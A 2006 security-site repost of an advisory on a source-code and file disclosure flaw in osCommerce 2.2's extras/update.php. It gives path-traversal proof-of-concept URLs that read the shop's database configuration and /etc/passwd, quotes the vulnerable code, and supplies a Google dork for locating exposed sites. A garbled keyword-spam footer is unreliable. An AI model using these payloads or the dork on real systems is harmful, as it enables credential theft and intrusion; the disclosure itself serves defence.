about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , osCommerce <= 2.2 (extras) Source Code Disclosure Vulnerability



2006-04-14 osCommerce <= 2.2 (extras) Source Code Disclosure Vulnerability
Rated as : Moderate Risk

---- osCommerce <= 2.2 "extras/" information/source code
disclosure ------------

software site: http://www.oscommerce.com/


if extras/ folder is placed inside the www path, you can see all files on
target
system, including php source code with database details, poc:

http://[target]/[path]/extras/update.php?read_me=0&readme_file=../catalog/includes/configure.php
http://[target]/[path]/extras/update.php?read_me=0&readme_file=/etc/passwd

this is the vulnerable code in update.php:

...
	include '../mysql.php';
	// if a readme.txt file exists, display it to the user
	if(!$read_me) {
		if(file_exists('readme.txt')) {
			$readme_file = 'readme.txt';
		}
		elseif(file_exists('README')) {
			$readme_file = 'README';
		}
		elseif(file_exists('readme')) {
			$readme_file = 'readme';
		}
		if($readme_file) {
			$readme = file($readme_file);
			print "<CENTER><TABLE BORDER=\"1\"
WIDTH=\"75%\" CELLPADDING=\"2\"
CELLSPACING=\"0\"><TR
BGCOLOR=\"#e7e7cc\"><TD>\n";
			print nl2br(htmlentities(implode($readme, ' ')));
			print "<HR NOSHADE SIZE=\"1\"><CENTER><A
HREF=\"update.php?read_me=1\"><B>Continue</B></A></CENTER>\n";
			print "</TD></TR></TABLE>\n";
			exit;
		}
	}
...

google search:

inurl:"extras/update.php" intext:mysql.php -display

--------------------------------------------------------------------------------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici.org
original advisory: http://retrogod.altervista.org/oscommerce_22_adv.html
--------------------------------------------------------------------------------
securitydot.net - 2006-04-14

Advertising

Copyright 2007, SecurityDot
Tue, 15 Dec 2009 18:32:49 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
Coppermin root SunOS sex vedio sexy aish Smallgirlf Wimpy wwwseks Smallgirlf video-seve www.iduoka Sexypict.c interactiv news for c TRISHA beautifuls Movable Ty 200 /compo S...Ftmp/t jhot news for c news for c www.hopefu news for c n...ex.com WWW XXXL C ro89.com smf 1.1.4 ro89.com Synchroney SQL Inject Sex uideos Wisin y ya WWW.sexey. shakeela.s news for c kareenakap worrld www.dldvb. PLEY BOY S Blue Coat fans.bahag px16900.cn port 1027 free sex f smallgirlf Tamil nude worrld Sleazy dre www+yhaoo. www.mqdm.n